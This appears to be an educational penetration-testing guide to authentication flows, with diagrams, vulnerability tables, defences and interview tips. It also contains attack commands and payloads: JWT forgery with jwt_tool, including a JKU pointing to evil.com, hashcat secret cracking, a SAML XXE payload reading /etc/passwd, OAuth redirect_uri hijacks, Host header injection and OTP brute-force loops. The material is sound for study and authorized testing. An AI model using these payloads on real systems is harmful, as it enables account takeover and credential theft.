Authentication Flows & Vulnerabilities: A Visual Whiteboard Guide

Authentication is the gateway to every application. If you can break auth, you own the system. This guide teaches you to visualize authentication flows, understand where vulnerabilities occur at each step, and test them systematically.

Perfect for: Security interviews (whiteboard sessions), penetration testing, and understanding auth security.

Prerequisites: Web Application Pentesting basics

Related: API Security OWASP Top 10 for API-specific auth issues

Quick Reference

Authentication Flow Types

Flow	Use Case	Key Vulnerabilities
Session-based	Traditional web apps	Session fixation, cookie theft
JWT	SPAs, mobile apps, APIs	Algorithm confusion, weak secrets
OAuth 2.0	”Login with Google/GitHub”	Redirect URI manipulation, CSRF
SAML	Enterprise SSO	XML signature wrapping, XXE
API Keys	Service-to-service	Key exposure, no rotation
MFA	Additional security layer	Bypass, fatigue attacks

Common Vulnerabilities by Step

Step	Vulnerabilities
Credential submission	MITM, credential stuffing, no HTTPS
Credential validation	SQLi, timing attacks, enumeration
Token/session creation	Weak entropy, predictable IDs
Token storage	XSS (localStorage), missing cookie flags
Token transmission	URL leakage, referrer exposure
Token validation	Algorithm bypass, expired token acceptance

Tools for Auth Testing

Tool	Purpose
Burp Suite + Autorize	Authorization testing
jwt_tool	JWT manipulation and attacks
Burp JWT Editor	JWT testing in Burp
oauth-tools	OAuth flow testing
SAMLRaider	SAML attack automation
Hashcat/John	Token secret cracking

1. Why Auth Flows Matter

TL;DR: 80% of breaches involve compromised credentials. Understanding auth flows visually helps you find where attacks succeed.

Real-world impact:

2021 Colonial Pipeline: Compromised VPN credentials → $4.4M ransom
2020 Twitter: Social engineering → admin panel access → celebrity account takeover
2019 Capital One: SSRF + IAM misconfiguration → 100M records

What you’ll learn:

Visualize how each auth mechanism works
Identify attack surfaces at every step
Test authentication systematically
Whiteboard auth during interviews

2. Session-Based Authentication

TL;DR: User sends credentials, server creates session, returns cookie. Attack the credentials, session creation, or cookie handling.

The Flow

┌──────┐                    ┌──────────┐                    ┌──────────┐
│ User │                    │  Server  │                    │ Database │
└──┬───┘                    └────┬─────┘                    └────┬─────┘
   │                             │                               │
   │ 1. POST /login              │                               │
   │    username=admin           │                               │
   │    password=secret123       │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 2. SELECT * FROM users        │
   │                             │    WHERE username='admin'     │
   │                             │──────────────────────────────>│
   │                             │                               │
   │                             │ 3. Return user record         │
   │                             │<──────────────────────────────│
   │                             │                               │
   │                             │ 4. Verify password hash       │
   │                             │    Generate session_id        │
   │                             │    Store in session table     │
   │                             │                               │
   │ 5. HTTP 200 OK              │                               │
   │    Set-Cookie: session=abc  │                               │
   │<────────────────────────────│                               │
   │                             │                               │
   │ 6. GET /dashboard           │                               │
   │    Cookie: session=abc      │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 7. Validate session           │
   │                             │    Return user data           │
   │                             │                               │
   │ 8. HTTP 200 + Dashboard     │                               │
   │<────────────────────────────│                               │

Vulnerabilities by Step

Step	What Happens	Vulnerabilities
1	Credentials sent	MITM (no HTTPS), credential stuffing, brute force
2	Database query	SQL injection
3	User lookup	Username enumeration (different error messages)
4	Session creation	Weak session ID entropy, session fixation
5	Cookie returned	Missing HttpOnly/Secure/SameSite flags
6	Cookie sent	XSS cookie theft, CSRF
7	Session validation	Session prediction, no timeout

Attack	Detect	Defend
Credential stuffing	Failed login monitoring, impossible travel	Rate limiting, MFA, breach detection
Session hijacking	Session anomaly detection	Secure cookies, IP binding
Session fixation	Log session ID changes	Regenerate session on login
XSS cookie theft	CSP violations	HttpOnly flag, CSP

Testing Checklist

Test credentials over HTTP (should redirect/fail)
Check session ID entropy (is it predictable?)
Test session fixation (set session before login, check if same after)
Verify cookie flags: HttpOnly, Secure, SameSite
Test session timeout (does it expire?)
Check logout invalidation (can you reuse old session?)
Test concurrent sessions (is there a limit?)
Check for username enumeration (different errors?)

Commands

Check cookie flags

curl -I -X POST http://target.com/login \
     -d "username=test&password=test" \
     | grep -i set-cookie

# Look for:
# Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Test session fixation

# 1. Get a session before login
curl -c cookies.txt http://target.com/login
cat cookies.txt  # Note session ID

# 2. Login with that session
curl -b cookies.txt -c cookies.txt \
     -d "username=test&password=test" \
     http://target.com/login

# 3. Check if session ID changed
cat cookies.txt  # Should be DIFFERENT

Check session entropy

# Collect multiple session IDs
for i in {1..10}; do
  curl -s -I http://target.com/ | grep -i set-cookie
done

# Analyze for patterns (should be random)

3. JWT Authentication (Deep Dive)

TL;DR: Server issues a signed token containing user claims. Client sends token with each request. Attack the algorithm, signature, or claims.

The Flow

┌──────┐                    ┌──────────┐                    ┌──────────┐
│ User │                    │  Server  │                    │ Database │
└──┬───┘                    └────┬─────┘                    └────┬─────┘
   │                             │                               │
   │ 1. POST /login              │                               │
   │    username=admin           │                               │
   │    password=secret123       │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 2. Validate credentials       │
   │                             │──────────────────────────────>│
   │                             │<──────────────────────────────│
   │                             │                               │
   │                             │ 3. Generate JWT               │
   │                             │    Header: {"alg":"HS256"}    │
   │                             │    Payload: {"sub":"admin",   │
   │                             │              "role":"user"}   │
   │                             │    Sign with secret key       │
   │                             │                               │
   │ 4. HTTP 200                 │                               │
   │    {"token": "eyJ..."}      │                               │
   │<────────────────────────────│                               │
   │                             │                               │
   │ 5. GET /api/data            │                               │
   │    Authorization: Bearer eyJ│                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 6. Verify signature           │
   │                             │    Check expiration           │
   │                             │    Extract claims             │
   │                             │                               │
   │ 7. HTTP 200 + Data          │                               │
   │<────────────────────────────│                               │

JWT Structure

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|___________________________________|__________________________________________________|__________________________________|
           Header (Base64)                              Payload (Base64)                         Signature

Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}
Signature: HMACSHA256(base64(header) + "." + base64(payload), secret)

JWT Vulnerabilities

Algorithm Attacks

Attack	Description	Test
None algorithm	Set `"alg": "none"`, remove signature	`jwt_tool -X a`
RS256 → HS256	Use public key as HMAC secret	`jwt_tool -X k -pk public.pem`
Algorithm switching	Change to weaker algorithm	Manual header edit

Signature Attacks

Attack	Description	Test
Weak secret brute force	Crack HMAC secret	`hashcat -m 16500 jwt.txt wordlist.txt`
Key confusion	RS256 with public key as HMAC secret	`jwt_tool -X k`
JKU injection	Point to attacker’s JWKS URL	`jwt_tool -X s -ju http://evil.com/jwks.json`
KID injection	SQL injection or path traversal in kid	`jwt_tool -I -hc kid -hv "../../dev/null"`

Claim Attacks

Attack	Description	Test
Privilege escalation	Change `role` from “user” to “admin”	Decode → modify → re-encode
User impersonation	Change `sub` to another user ID	Decode → modify → re-encode
Token replay	Reuse token after logout	Save token, logout, use again
Expired token	Server doesn’t check `exp`	Use old token

Attack	Detect	Defend
Algorithm confusion	Monitor algorithm changes	Whitelist algorithms server-side
Weak secret	N/A	Use strong secrets (256+ bits)
Privilege escalation	Log role changes	Server-side role lookup
Token replay	Track token usage	Short expiry, token blacklist

Testing Checklist

Commands

Decode JWT manually

# Split and decode
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

# Or use jwt_tool
jwt_tool eyJ...

None algorithm attack

jwt_tool eyJ... -X a

# Manual: Change header to {"alg":"none","typ":"JWT"}
# Remove signature, keep the trailing dot
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.

Crack weak secret

# With hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

# With jwt_tool
jwt_tool eyJ... -C -d /usr/share/wordlists/rockyou.txt

Algorithm confusion (RS256 → HS256)

# If you have the public key
jwt_tool eyJ... -X k -pk public.pem

Modify claims

# Tamper with claims
jwt_tool eyJ... -T

# Inject into kid header (path traversal)
jwt_tool eyJ... -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Test with Burp

1. Install JWT Editor extension
2. Capture request with JWT
3. Right-click → "Send to JWT Editor"
4. Modify claims/algorithm
5. Resign or attack

4. OAuth 2.0 / OpenID Connect

TL;DR: Delegate authentication to a trusted provider (Google, GitHub). Attack the redirect URI, state parameter, or token handling.

Authorization Code Flow

┌──────┐          ┌─────────┐          ┌─────────────┐          ┌──────────────┐
│ User │          │   App   │          │ Auth Server │          │ Resource API │
└──┬───┘          └────┬────┘          │  (Google)   │          └──────┬───────┘
   │                   │               └──────┬──────┘                 │
   │ 1. Click "Login   │                      │                        │
   │    with Google"   │                      │                        │
   │──────────────────>│                      │                        │
   │                   │                      │                        │
   │                   │ 2. Redirect to Auth  │                        │
   │                   │    Server with:      │                        │
   │                   │    - client_id       │                        │
   │                   │    - redirect_uri    │                        │
   │                   │    - scope           │                        │
   │                   │    - state (CSRF)    │                        │
   │<──────────────────│──────────────────────│                        │
   │                   │                      │                        │
   │ 3. User logs in   │                      │                        │
   │    and consents   │                      │                        │
   │──────────────────────────────────────────>                        │
   │                   │                      │                        │
   │ 4. Redirect back  │                      │                        │
   │    with auth code │                      │                        │
   │    + state        │                      │                        │
   │<──────────────────────────────────────────                        │
   │                   │                      │                        │
   │ 5. App receives   │                      │                        │
   │    code at        │                      │                        │
   │    redirect_uri   │                      │                        │
   │──────────────────>│                      │                        │
   │                   │                      │                        │
   │                   │ 6. Exchange code for │                        │
   │                   │    tokens (+ secret) │                        │
   │                   │─────────────────────>│                        │
   │                   │                      │                        │
   │                   │ 7. Access token      │                        │
   │                   │    + refresh token   │                        │
   │                   │<─────────────────────│                        │
   │                   │                      │                        │
   │                   │ 8. Use access token  │                        │
   │                   │────────────────────────────────────────────────>
   │                   │                      │                        │
   │                   │ 9. Protected data    │                        │
   │                   │<────────────────────────────────────────────────
   │                   │                      │                        │
   │ 10. Logged in!    │                      │                        │
   │<──────────────────│                      │                        │

OAuth Vulnerabilities by Step

Step	Attack	Impact
2	Redirect URI manipulation	Steal auth code
2	Missing/weak state	CSRF account linking
4	Code interception	Account takeover
4	Token in URL fragment	Referrer leakage
6	No PKCE (mobile apps)	Code interception
7	Token leakage in logs	Account takeover
8	Scope escalation	Excessive permissions

Attack	Detect	Defend
Redirect URI manipulation	Log all redirect URIs	Strict URI validation, no wildcards
Missing state (CSRF)	Monitor for stateless flows	Always require state parameter
Code interception	N/A	Use PKCE for public clients
Token leakage	Token usage monitoring	Short-lived tokens, secure storage

Common OAuth Misconfigurations

1. Wildcard Redirect URI

# Registered: https://app.com/*
# Attacker uses: https://app.com/callback?redirect=https://evil.com

2. Open Redirect in Redirect URI

# https://app.com/callback?next=https://evil.com
# Auth code sent to legitimate URI, then forwarded to attacker

3. Missing State Parameter

# Allows CSRF - attacker can link victim's account to attacker's OAuth

Testing Checklist

Test redirect_uri validation (path traversal, subdomain, open redirect)
Check if state parameter is required and validated
Test scope parameter manipulation
Check token storage location
Test token in URL (referrer leakage)
Verify PKCE is used for mobile/SPA apps
Test response_type manipulation
Check for token reuse after logout

Commands

Test redirect_uri manipulation

# Original
https://auth.provider.com/authorize?
  client_id=app123&
  redirect_uri=https://app.com/callback&
  state=xyz

# Try:
redirect_uri=https://evil.com/callback
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://app.com/callback/../../../evil
redirect_uri=https://app.com/callback?next=https://evil.com
redirect_uri=https://app.com/callback#@evil.com

Test missing state (CSRF)

# 1. Start OAuth flow, capture the authorize URL
# 2. Remove state parameter
# 3. Send to victim
# 4. When they click, their account links to your OAuth

Intercept authorization code

# If redirect_uri is vulnerable:
# 1. Craft malicious authorize URL with your redirect_uri
# 2. Send to victim
# 3. Receive their auth code at your server
# 4. Exchange code for token

5. SAML Authentication

TL;DR: Enterprise SSO using XML assertions. Attack the XML signature verification or assertion content.

SAML Flow

┌──────┐          ┌─────────────┐          ┌────────────────┐
│ User │          │ Service     │          │ Identity       │
│      │          │ Provider    │          │ Provider (IdP) │
│      │          │ (App)       │          │ (Okta/ADFS)    │
└──┬───┘          └──────┬──────┘          └───────┬────────┘
   │                     │                         │
   │ 1. Access /app      │                         │
   │────────────────────>│                         │
   │                     │                         │
   │ 2. Redirect to IdP  │                         │
   │    with SAML        │                         │
   │    AuthnRequest     │                         │
   │<────────────────────│                         │
   │                     │                         │
   │ 3. Follow redirect  │                         │
   │─────────────────────────────────────────────->│
   │                     │                         │
   │ 4. Login at IdP     │                         │
   │<─────────────────────────────────────────────>│
   │                     │                         │
   │ 5. IdP creates      │                         │
   │    signed SAML      │                         │
   │    Response with    │                         │
   │    Assertion        │                         │
   │                     │                         │
   │ 6. POST to SP with  │                         │
   │    SAML Response    │                         │
   │<──────────────────────────────────────────────│
   │                     │                         │
   │ 7. Forward SAML     │                         │
   │    Response to SP   │                         │
   │────────────────────>│                         │
   │                     │                         │
   │                     │ 8. Validate signature   │
   │                     │    Extract user info    │
   │                     │    Create session       │
   │                     │                         │
   │ 9. Access granted   │                         │
   │<────────────────────│                         │

SAML Vulnerabilities

Attack	Description	Impact
XML Signature Wrapping	Move signed content, add malicious content	Authentication bypass
XXE	XML External Entity in SAML response	SSRF, file read
Assertion Replay	Reuse valid assertion	Session hijacking
Comment Injection	Break username parsing	Account takeover
Signature Exclusion	Remove signature, SP doesn’t validate	Auth bypass

Attack	Detect	Defend
Signature wrapping	Log SAML processing errors	Strict XML canonicalization
XXE	Monitor external entity attempts	Disable DTD processing
Assertion replay	Track assertion IDs	Check NotOnOrAfter, store used IDs
Comment injection	Monitor username anomalies	Strict parsing, canonicalization

Testing Checklist

Check if signature is validated
Test signature wrapping attacks
Test XXE in SAML response
Check assertion expiration handling
Test assertion replay
Check for comment injection in NameID
Verify audience restriction is checked

Commands

Using SAMLRaider (Burp Extension)

1. Capture SAML response in Burp
2. Right-click → "Send to SAMLRaider"
3. Try signature wrapping attacks
4. Try XXE injection
5. Modify assertions and resign (if you have key)

Comment injection example

<!-- Original NameID -->
<NameID>user@company.com</NameID>

<!-- Injected -->
<NameID>admin@company.com<!---->@attacker.com</NameID>

<!-- If SP parses poorly, may see: admin@company.com -->

XXE payload in SAML

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <Assertion>
    <NameID>&xxe;</NameID>
  </Assertion>
</samlp:Response>

6. Multi-Factor Authentication (MFA)

TL;DR: Adding a second factor increases security, but implementation flaws can allow bypass.

MFA Flow

┌──────┐                    ┌──────────┐
│ User │                    │  Server  │
└──┬───┘                    └────┬─────┘
   │                             │
   │ 1. POST /login              │
   │    username + password      │
   │────────────────────────────>│
   │                             │
   │ 2. Credentials valid        │
   │    MFA required             │
   │    Set temp session         │
   │                             │
   │ 3. Redirect to /mfa         │
   │    Send OTP via SMS/email   │
   │    or prompt for TOTP       │
   │<────────────────────────────│
   │                             │
   │ 4. POST /mfa/verify         │
   │    code=123456              │
   │────────────────────────────>│
   │                             │
   │ 5. Validate OTP             │
   │    Upgrade session          │
   │                             │
   │ 6. Full access granted      │
   │<────────────────────────────│

MFA Vulnerabilities

Attack	Description	Test
Response manipulation	Change MFA response from fail to success	Intercept and modify response
Direct endpoint access	Skip MFA, access protected endpoint directly	Access /dashboard without MFA step
Race condition	Use code in parallel requests	Send multiple simultaneous requests
Brute force OTP	No rate limiting on OTP entry	Try all 6-digit codes
Backup code abuse	Weak backup code generation	Check entropy, test enumeration
MFA fatigue	Spam push notifications	Send many push requests
Recovery bypass	Weak security questions	Social engineering
Session upgrade flaw	Pre-MFA session has partial access	Test what’s accessible before MFA

Attack	Detect	Defend
Response manipulation	Integrity monitoring	Server-side state, signed responses
OTP brute force	Alert on attempts	Rate limit, lockout
MFA fatigue	Alert on push spam	Number matching, rate limit
Recovery bypass	Log recovery attempts	Strong recovery, admin approval

Testing Checklist

Test direct access to post-MFA endpoints
Check if MFA can be skipped by modifying response
Test OTP brute force (is there lockout?)
Check OTP code reuse
Test race condition on OTP validation
Examine backup code strength
Test MFA enrollment bypass
Check if MFA can be disabled without re-auth

Commands

Test response manipulation

# Capture MFA verification response
# Change: {"success": false} → {"success": true}
# Or: HTTP 401 → HTTP 200

Test direct endpoint access

# 1. Login with credentials (don't complete MFA)
# 2. Note any cookies/tokens received
# 3. Try accessing protected endpoints directly
curl -b "session=pre_mfa_token" http://target.com/api/user

Test OTP brute force

# Check if rate limited
for code in {000000..000100}; do
  curl -s -X POST http://target.com/mfa/verify \
       -d "code=$code" \
       -b "session=abc123"
done

Test race condition

# Send multiple requests simultaneously
for i in {1..10}; do
  curl -s -X POST http://target.com/mfa/verify \
       -d "code=123456" &
done
wait

7. Password Reset Flows

TL;DR: “Forgot password” is often the weakest link. Attack the token generation, delivery, or validation.

Password Reset Flow

┌──────┐                    ┌──────────┐                    ┌───────────┐
│ User │                    │  Server  │                    │   Email   │
└──┬───┘                    └────┬─────┘                    └─────┬─────┘
   │                             │                                │
   │ 1. POST /forgot-password    │                                │
   │    email=user@example.com   │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 2. Generate reset token        │
   │                             │    Store token + expiry        │
   │                             │    in database                 │
   │                             │                                │
   │                             │ 3. Send email with reset link  │
   │                             │    /reset?token=abc123         │
   │                             │───────────────────────────────>│
   │                             │                                │
   │ 4. User receives email      │                                │
   │<─────────────────────────────────────────────────────────────│
   │                             │                                │
   │ 5. GET /reset?token=abc123  │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 6. Validate token              │
   │                             │    (exists, not expired)       │
   │                             │                                │
   │ 7. Show password reset form │                                │
   │<────────────────────────────│                                │
   │                             │                                │
   │ 8. POST /reset              │                                │
   │    token=abc123             │                                │
   │    new_password=NewPass123  │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 9. Update password             │
   │                             │    Invalidate token            │
   │                             │    Invalidate all sessions     │
   │                             │                                │
   │ 10. Password changed        │                                │
   │<────────────────────────────│                                │

Password Reset Vulnerabilities

Step	Attack	Impact
1	User enumeration	Different response for valid/invalid email
2	Weak token generation	Predictable tokens → account takeover
2	Token in URL	Logged by proxies, referrer leakage
3	Host header injection	Reset link points to attacker domain
5	Token brute force	Short/numeric tokens can be guessed
6	No expiration	Token valid forever
6	Token reuse	Use same token multiple times
8	No rate limit	Brute force new password
9	Sessions not invalidated	Attacker sessions persist

Attack	Detect	Defend
Token brute force	Alert on reset attempts	Long random tokens, rate limit
Host header injection	Monitor Host headers	Whitelist allowed hosts
Token reuse	Log token usage	Single-use tokens
User enumeration	Monitor timing differences	Generic responses

Testing Checklist

Check for user enumeration (different response/timing)
Analyze token format (length, entropy, predictability)
Test token expiration
Test token reuse after reset
Check if token is in URL (referrer leakage)
Test Host header injection
Verify all sessions invalidated after reset
Check if old password still works briefly
Test rate limiting on reset requests

Commands

Test user enumeration

# Valid user
curl -s -X POST http://target.com/forgot-password \
     -d "email=valid@example.com" -w "%{time_total}\n"

# Invalid user
curl -s -X POST http://target.com/forgot-password \
     -d "email=invalid@example.com" -w "%{time_total}\n"

# Check for different responses or timing

Test Host header injection

curl -X POST http://target.com/forgot-password \
     -H "Host: evil.com" \
     -d "email=victim@example.com"

# Check if email contains link to evil.com

Analyze token entropy

# Request multiple tokens, look for patterns
# Token should be: long, random, unpredictable
# Bad: 123456, abc123, sequential, timestamp-based
# Good: a8f3k2j4h5g6d7s8a9f0k2j4h5g6d7s8

Test token brute force (if short)

# Only if authorized - many tokens are short
for token in {100000..100100}; do
  curl -s "http://target.com/reset?token=$token"
done

8. API Authentication Patterns

TL;DR: APIs use various auth methods - API keys, bearer tokens, OAuth. Each has specific vulnerabilities.

API Key Authentication

┌──────────┐                         ┌──────────┐
│  Client  │                         │   API    │
└────┬─────┘                         └────┬─────┘
     │                                    │
     │ GET /api/data                      │
     │ X-API-Key: sk_live_abc123          │
     │───────────────────────────────────>│
     │                                    │
     │                                    │ Validate key
     │                                    │ Check permissions
     │                                    │
     │ 200 OK + Data                      │
     │<───────────────────────────────────│

API Key Vulnerabilities:

Vulnerability	Description	Test
Key in URL	Logged, cached, referrer leakage	Check if `?api_key=` accepted
Key in client code	Exposed in JS/mobile app	Inspect source, decompile
No key rotation	Compromised key = permanent access	Check rotation mechanism
Over-privileged	Key has more access than needed	Test different endpoints
No rate limiting	DoS, brute force	Send many requests
Key enumeration	Sequential or predictable keys	Try incrementing

Bearer Token Authentication

┌──────────┐                         ┌──────────┐
│  Client  │                         │   API    │
└────┬─────┘                         └────┬─────┘
     │                                    │
     │ GET /api/data                      │
     │ Authorization: Bearer eyJ...       │
     │───────────────────────────────────>│
     │                                    │
     │                                    │ Validate token
     │                                    │ (JWT verification
     │                                    │  or token lookup)
     │                                    │
     │ 200 OK + Data                      │
     │<───────────────────────────────────│

API Auth Testing Checklist

Commands

Test missing auth

curl http://api.target.com/v1/users
# Should return 401, not data

Test BOLA (Broken Object Level Authorization)

# With User A's token, access User B's data
curl -H "Authorization: Bearer USER_A_TOKEN" \
     http://api.target.com/v1/users/USER_B_ID

Test BFLA (Broken Function Level Authorization)

# With regular user token, access admin endpoints
curl -H "Authorization: Bearer REGULAR_USER_TOKEN" \
     http://api.target.com/v1/admin/users

Find API keys in JavaScript

# Search for common patterns
curl -s http://target.com/js/app.js | grep -iE "api[_-]?key|apikey|api[_-]?secret|sk_live|pk_live"

Using Autorize (Burp Extension)

1. Install Autorize extension
2. Configure low-privilege token
3. Browse as high-privilege user
4. Autorize replays with low-privilege token
5. Check for authorization bypass

9. Whiteboard Interview Tips

TL;DR: Security interviews often involve whiteboarding auth flows. Here’s how to excel.

How to Approach Auth Whiteboard Questions

Step 1: Clarify Requirements

What type of application? (Web, mobile, API)
What auth mechanisms? (Password, OAuth, SSO)
What’s the threat model?

Step 2: Draw the Happy Path

1. Start with actors (User, Client, Server, Database)
2. Draw the normal flow step by step
3. Label data at each step (credentials, tokens, cookies)
4. Mark trust boundaries

Step 3: Identify Attack Surfaces

At each step, ask:
- What could go wrong here?
- How could an attacker abuse this?
- What data is exposed?

Step 4: Propose Mitigations

For each vulnerability:
- Explain the defense
- Discuss trade-offs

Sample Interview Questions

Q: “Design a secure login system”

1. Draw flow:
   User → HTTPS → Server → Database (hashed passwords)
   Server → User (session cookie)

2. Call out security:
   - HTTPS only
   - Password hashing (bcrypt)
   - Session ID entropy
   - Cookie flags (HttpOnly, Secure, SameSite)
   - Rate limiting
   - MFA option

3. Discuss attacks:
   - Credential stuffing → Rate limit + breach detection
   - Session hijacking → Secure cookies + IP binding
   - Brute force → Lockout + CAPTCHA

Q: “How would you implement ‘Login with Google’?”

1. Draw OAuth Authorization Code flow
2. Highlight security measures:
   - State parameter for CSRF
   - Strict redirect URI validation
   - PKCE for mobile/SPA
   - Short-lived tokens

3. Call out risks:
   - Redirect URI manipulation
   - Token leakage
   - Scope creep

Q: “How would you attack this auth system?”

1. Ask about:
   - Token type and storage
   - Session management
   - Password reset mechanism

2. Identify:
   - Weak points in the flow
   - Missing security controls

3. Propose:
   - Specific attacks
   - Required access/position
   - Potential impact

Interview Checklist

Always draw trust boundaries
Label all data flows
Consider both web and API attacks
Mention monitoring and logging
Discuss defense in depth
Know tool names (Burp, jwt_tool, etc.)

10. Auth Testing Methodology

Systematic Approach

1. RECONNAISSANCE
   - Identify auth mechanisms (session, JWT, OAuth, SAML)
   - Map all auth endpoints
   - Identify token storage locations
   - Note any MFA/2FA

2. CREDENTIAL TESTING
   - Username enumeration
   - Password policy testing
   - Brute force protection
   - Default credentials

3. SESSION TESTING
   - Session ID analysis
   - Cookie security flags
   - Session fixation
   - Timeout and logout

4. TOKEN TESTING
   - Token format analysis
   - Signature verification
   - Claim manipulation
   - Expiration handling

5. AUTHORIZATION TESTING
   - Horizontal privilege escalation
   - Vertical privilege escalation
   - Insecure direct object references

6. MFA TESTING
   - Bypass attempts
   - Recovery flow
   - Rate limiting

7. PASSWORD RESET TESTING
   - Token analysis
   - Host header injection
   - User enumeration

Master Checklist

Complete Auth Testing Checklist

Credential Handling

Test credentials over HTTP
Check password policy enforcement
Test username enumeration
Test account lockout
Check for default credentials
Test credential stuffing protection

Session Management

JWT/Token Security

OAuth/OIDC

MFA

Password Reset

Authorization

Test IDOR
Test privilege escalation
Test function-level access
Check API authorization

11. Tools Reference

JWT Testing

Tool	Purpose	Install
jwt_tool	Comprehensive JWT testing	`pip install jwt_tool`
jwt.io	Online decoder	Browser
Burp JWT Editor	Burp extension	BApp Store
hashcat	Secret cracking	Package manager

OAuth Testing

Tool	Purpose
Burp Suite	Intercept and modify OAuth flows
oauth-tools	OAuth testing utilities
Postman	API testing with OAuth

SAML Testing

Tool	Purpose
SAMLRaider	Burp extension for SAML attacks
SAML-decoder	Online SAML decoder

Session Testing

Tool	Purpose
Burp Suite	Session analysis
Autorize	Authorization testing
AuthMatrix	Access control testing

12. Glossary

Term	Definition
Access Token	Token granting access to protected resources
Authorization Code	Temporary code exchanged for access token in OAuth
Bearer Token	Token that grants access to whoever possesses it
Claim	Piece of information in a JWT payload
CSRF	Cross-Site Request Forgery
IdP	Identity Provider (authenticates users)
JWK	JSON Web Key (public key format)
JWKS	JSON Web Key Set (collection of JWKs)
JWT	JSON Web Token
MFA	Multi-Factor Authentication
OAuth	Authorization framework for delegated access
OIDC	OpenID Connect (identity layer on OAuth)
PKCE	Proof Key for Code Exchange (OAuth security extension)
Refresh Token	Long-lived token to get new access tokens
SAML	Security Assertion Markup Language
Session Fixation	Attack where attacker sets victim’s session ID
SP	Service Provider (application relying on IdP)
State Parameter	CSRF protection in OAuth
TOTP	Time-based One-Time Password

What’s Next?

Now that you understand authentication flows, continue with:

API Security OWASP Top 10 - API-specific vulnerabilities
API Pentesting Cheat Sheet - Hands-on API testing
Web Application Pentesting - Broader web security
Active Directory Attack Path - Windows auth attacks

Questions or feedback? Open an issue on GitHub.